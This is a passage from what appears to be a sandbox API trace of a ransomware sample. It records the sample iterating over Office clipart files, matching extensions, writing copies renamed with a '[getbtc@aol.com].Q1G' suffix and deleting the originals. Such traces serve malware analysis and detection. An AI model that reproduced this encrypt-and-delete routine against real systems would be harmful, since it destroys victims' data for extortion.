returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".jpg") returned 4 [0259.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".doc") returned 4 [0259.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString=".docx") returned 5 [0259.143] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.143] lstrlenW (lpString=".pdf") returned 4 [0259.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString=".xls") returned 4 [0259.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.143] lstrlenW (lpString=".xlsx") returned 5 [0259.143] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.143] lstrlenW (lpString=".ppt") returned 4 [0259.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".zip") returned 4 [0259.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.143] lstrlenW (lpString=".rar") returned 4 [0259.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString=".bz2") returned 4 [0259.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString=".7z") returned 3 [0259.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".dbf") returned 4 [0259.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.144] lstrlenW (lpString=".1cd") returned 4 [0259.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.144] lstrlenW (lpString=".jpg") returned 4 [0259.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.144] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.144] lstrlenW (lpString="J0107480.WMF") returned 12 [0259.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.144] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6024) returned 1 [0259.144] CloseHandle (hObject=0x3b8) returned 1 [0259.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0259.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.145] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.145] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.146] GetLastError () returned 0x0 [0259.146] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1788, lpOverlapped=0x0) returned 1 [0259.153] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0259.154] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.154] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.155] SetEndOfFile (hFile=0x360) returned 1 [0259.155] CloseHandle (hObject=0x360) returned 1 [0259.155] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.155] SetEndOfFile (hFile=0x3b8) returned 1 [0259.157] CloseHandle (hObject=0x3b8) returned 1 [0259.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString=".doc") returned 4 [0259.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString=".docx") returned 5 [0259.158] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.158] lstrlenW (lpString=".pdf") returned 4 [0259.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString=".xls") returned 4 [0259.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.158] lstrlenW (lpString=".xlsx") returned 5 [0259.158] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.158] lstrlenW (lpString=".ppt") returned 4 [0259.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString=".zip") returned 4 [0259.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.158] lstrlenW (lpString=".rar") returned 4 [0259.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString=".bz2") returned 4 [0259.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString=".7z") returned 3 [0259.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString=".dbf") returned 4 [0259.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString=".1cd") returned 4 [0259.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.158] lstrlenW (lpString=".jpg") returned 4 [0259.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString=".doc") returned 4 [0259.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString=".docx") returned 5 [0259.159] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.159] lstrlenW (lpString=".pdf") returned 4 [0259.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString=".xls") returned 4 [0259.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.159] lstrlenW (lpString=".xlsx") returned 5 [0259.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.159] lstrlenW (lpString=".ppt") returned 4 [0259.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString=".zip") returned 4 [0259.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.159] lstrlenW (lpString=".rar") returned 4 [0259.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString=".bz2") returned 4 [0259.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString=".7z") returned 3 [0259.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString=".dbf") returned 4 [0259.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString=".1cd") returned 4 [0259.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0259.159] lstrlenW (lpString=".jpg") returned 4 [0259.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.159] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.160] lstrlenW (lpString="J0107482.WMF") returned 12 [0259.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.160] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4980) returned 1 [0259.160] CloseHandle (hObject=0x3b8) returned 1 [0259.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0259.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.161] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.161] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.161] GetLastError () returned 0x0 [0259.161] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1374, lpOverlapped=0x0) returned 1 [0259.174] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0259.175] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.175] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.175] SetEndOfFile (hFile=0x360) returned 1 [0259.176] CloseHandle (hObject=0x360) returned 1 [0259.176] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.176] SetEndOfFile (hFile=0x3b8) returned 1 [0259.179] CloseHandle (hObject=0x3b8) returned 1 [0259.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0259.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.182] lstrlenW (lpString=".doc") returned 4 [0259.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.182] lstrlenW (lpString=".docx") returned 5 [0259.182] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.182] lstrlenW (lpString=".pdf") returned 4 [0259.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.182] lstrlenW (lpString=".xls") returned 4 [0259.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.182] lstrlenW (lpString=".xlsx") returned 5 [0259.182] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.182] lstrlenW (lpString=".ppt") returned 4 [0259.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.182] lstrlenW (lpString=".zip") returned 4 [0259.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.182] lstrlenW (lpString=".rar") returned 4 [0259.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString=".bz2") returned 4 [0259.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString=".7z") returned 3 [0259.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.183] lstrlenW (lpString=".dbf") returned 4 [0259.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.183] lstrlenW (lpString=".1cd") returned 4 [0259.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.183] lstrlenW (lpString=".jpg") returned 4 [0259.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.183] lstrlenW (lpString=".doc") returned 4 [0259.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString=".docx") returned 5 [0259.183] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.183] lstrlenW (lpString=".pdf") returned 4 [0259.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.183] lstrlenW (lpString=".xls") returned 4 [0259.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.183] lstrlenW (lpString=".xlsx") returned 5 [0259.183] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.340] lstrlenW (lpString=".ppt") returned 4 [0259.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.340] lstrlenW (lpString=".zip") returned 4 [0259.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.340] lstrlenW (lpString=".rar") returned 4 [0259.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.340] lstrlenW (lpString=".bz2") returned 4 [0259.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.340] lstrlenW (lpString=".7z") returned 3 [0259.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.340] lstrlenW (lpString=".dbf") returned 4 [0259.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.340] lstrlenW (lpString=".1cd") returned 4 [0259.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0259.341] lstrlenW (lpString=".jpg") returned 4 [0259.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.341] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.341] lstrlenW (lpString="J0107490.WMF") returned 12 [0259.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.378] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16468) returned 1 [0259.378] CloseHandle (hObject=0x390) returned 1 [0259.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0259.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.452] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.452] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.453] GetLastError () returned 0x0 [0259.453] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4054, lpOverlapped=0x0) returned 1 [0259.567] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4060, lpOverlapped=0x0) returned 1 [0259.568] ReadFile (in: hFile=0x3a0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.568] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.568] SetEndOfFile (hFile=0x3a8) returned 1 [0259.568] CloseHandle (hObject=0x3a8) returned 1 [0259.568] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.568] SetEndOfFile (hFile=0x3a0) returned 1 [0259.573] CloseHandle (hObject=0x3a0) returned 1 [0259.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0259.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.592] lstrlenW (lpString=".doc") returned 4 [0259.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.592] lstrlenW (lpString=".docx") returned 5 [0259.592] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.592] lstrlenW (lpString=".pdf") returned 4 [0259.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.592] lstrlenW (lpString=".xls") returned 4 [0259.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.592] lstrlenW (lpString=".xlsx") returned 5 [0259.592] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.592] lstrlenW (lpString=".ppt") returned 4 [0259.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.592] lstrlenW (lpString=".zip") returned 4 [0259.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.592] lstrlenW (lpString=".rar") returned 4 [0259.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.592] lstrlenW (lpString=".bz2") returned 4 [0259.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString=".7z") returned 3 [0259.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString=".dbf") returned 4 [0259.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString=".1cd") returned 4 [0259.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString=".jpg") returned 4 [0259.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0259.593] lstrlenW (lpString=".doc") returned 4 [0259.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString=".docx") returned 5 [0259.593] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.593] lstrlenW (lpString=".pdf") returned 4 [0259.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.593] lstrlenW (lpString=".xls") returned 4 [0259.593] lstrcmpiW (lpString1=".xls", 